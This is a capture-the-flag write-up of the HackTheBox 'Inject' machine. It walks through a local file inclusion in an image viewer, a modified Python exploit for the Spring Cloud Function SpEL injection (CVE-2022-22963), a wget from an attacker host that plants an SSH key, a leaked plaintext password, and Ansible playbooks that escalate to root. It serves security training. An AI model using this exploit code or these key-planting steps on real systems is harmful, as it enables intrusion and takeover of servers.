Skip to main content
  1. Posts/

HackTheBox - Inject

Writeup for HackTheBox’s Inject machine.

We have an upload functionality in the web app and it accepts PNG files, although there are some bypasses but they didn’t lead anywhere.

Once you upload a valid PNG/Image file, you can view it by going to show_image and the filename is specified by the img parameter

It is vulnerable to LFI vulnerability, we can access any arbitrary file with the known location.

After some hefty enumeration, we can see the absolute path for the webapp by checking the webapp.service this filename was retrieved from the /opt/automation/tasks/playbook_1.yml during initial enumeration, as giving the a directory location will list out the sub-directories and it’s associated files:

Checking the service files, we can get the location of the jar file of the webserver.

[Unit]
Description=Spring WEb APP
After=syslog.target

[Service]
User=frank
Group=frank
ExecStart=/usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
Restart=always
StandardOutput=syslog
StandardError=syslog

[Install]
WantedBy=multi-user.target

With the retrieved information, we can get the Spring version by checking pom.xml and it is vulnerable with https://github.com/me2nuk/CVE-2022-22963

I modified the original script to pass the arguments for better work:

import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()

def scan(txt,cmd):

    payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

    data ='test'
    headers = {
        'spring.cloud.function.routing-expression':payload,
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    path = '/functionRouter'
    f = open(txt)
    urllist=f.readlines()

    for  url  in  urllist :
        url = url.strip('\n')
        all = url + path
        try:
            req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
            code =req.status_code
            text = req.text
            rsp = '"error":"Internal Server Error"'

            if code == 500 and rsp in text:
                print ( f'[+] { url } is vulnerable' )
                poc_file = open('vulnerable.txt', 'a+')
                poc_file.write(url + '\n')
                poc_file.close()
            else:
                print ( f'[-] { url } not vulnerable' )

        except requests.exceptions.RequestException:
            print ( f'[-] { url } detection timed out' )
            continue
        except:
            print ( f'[-] { url } error' )
            continue

if __name__ == '__main__' :
    try:
        cmd1 =sys.argv[1]
        cmd2 = sys.argv[2]
        t = threading . Thread ( target = scan ( cmd1 , cmd2 ) ) 
        t.start()
    except:
        print ( 'Usage:' )
        print('python poc.py url.txt')
        pass

For confirmation, doing a ping on my host from the Inject machine, using tcpdump we received ICMP requests.

Again, modifying the script to add the public key to the frank user so we can SSH into the machine.

import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()

def scan(txt,cmd):

    payload=f'T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.19/authorized_keys -O /home/frank/.ssh/authorized_keys")'

    data ='test'
    headers = {
        'spring.cloud.function.routing-expression':payload,
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    path = '/functionRouter'
    f = open(txt)
    urllist=f.readlines()

    for  url  in  urllist :
        url = url.strip('\n')
        all = url + path
        try:
            req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
            code =req.status_code
            text = req.text
            rsp = '"error":"Internal Server Error"'

            if code == 500 and rsp in text:
                print ( f'[+] { url } is vulnerable' )
                poc_file = open('vulnerable.txt', 'a+')
                poc_file.write(url + '\n')
                poc_file.close()
            else:
                print ( f'[-] { url } not vulnerable' )

        except requests.exceptions.RequestException:
            print ( f'[-] { url } detection timed out' )
            continue
        except:
            print ( f'[-] { url } error' )
            continue

if __name__ == '__main__' :
    try:
        cmd1 =sys.argv[1]
        cmd2 = sys.argv[2]
        t = threading . Thread ( target = scan ( cmd1 , cmd2 ) ) 
        t.start()
    except:
        print ( 'Usage:' )
        print('python poc.py url.txt')
        pass

Confirming the key has been added to the authorized_keys file for the frank user via LFI:

Successfully doing SSH into the machine as frank user:

From the LFI itself, we were able to retrieve the file /home/frank/.m2/settings.xml and paul user password,

-bash-5.0$ cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Using the password, we can change to user paul

Further looking into the writable folder and files, we can see that /opt/automation/tasks is writable by staff group member and paul is a member of that group.

bash-5.0$ find / -writable 2>/dev/null | grep -v proc

[..snip..]

/tmp/.XIM-unix
/tmp/.font-unix
/tmp/.X11-unix
/tmp/.Test-unix
/tmp/.ICE-unix
/opt/automation/tasks
/etc/systemd/system/nginx.service
/etc/systemd/system/sysstat.service
/var/tmp
/var/crash
/var/local
/var/lock
/home/phil
/home/phil/.bashrc
/home/phil/.bash_history
/home/phil/.cache
/home/phil/.cache/motd.legal-displayed
/home/phil/.profile
/home/phil/.viminfo
/home/phil/.vim
/home/phil/.vim/.netrwhist
/home/frank/.bash_history
/usr/lib/systemd/system/screen-cleanup.service
/usr/lib/systemd/system/lvm2.service
/usr/lib/systemd/system/rcS.service
/usr/lib/systemd/system/x11-common.service
/usr/lib/systemd/system/cryptdisks.service
/usr/lib/systemd/system/multipath-tools-boot.service
/usr/lib/systemd/system/hwclock.service
/usr/lib/systemd/system/rc.service
/usr/lib/systemd/system/sudo.service
/usr/lib/systemd/system/cryptdisks-early.service
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/share/fonts

That directory had an ansible playbook file for automating tasks

From the enumeration, we were able to anticipate that any tasks created in this directory will be executed, hence to replicate it, I created two tasks,

This is for creating an .ssh directory is root home directory

---
- name: Create directory in root folder
  hosts: localhost
  become: yes

  tasks:
    - name: Create directory
      file:
        path: /root/.ssh
        state: directory
        mode: '0755'
      register: create_result

    - name: Display create result
      debug:
        var: create_result

Another is to add the same public key we used for frank user to root user’s authorized_keys

- name: Copy id_rsa file to /root/.ssh/
  hosts: localhost
  become: yes

  tasks:
    - name: Copy id_rsa file
      copy:
        src: /home/frank/.ssh/authorized_keys
        dest: /root/.ssh/authorized_keys
        mode: '0600'
      register: copy_result

    - name: Display copy result
      debug:
        var: copy_result

Doing so, we were able to login to the target as root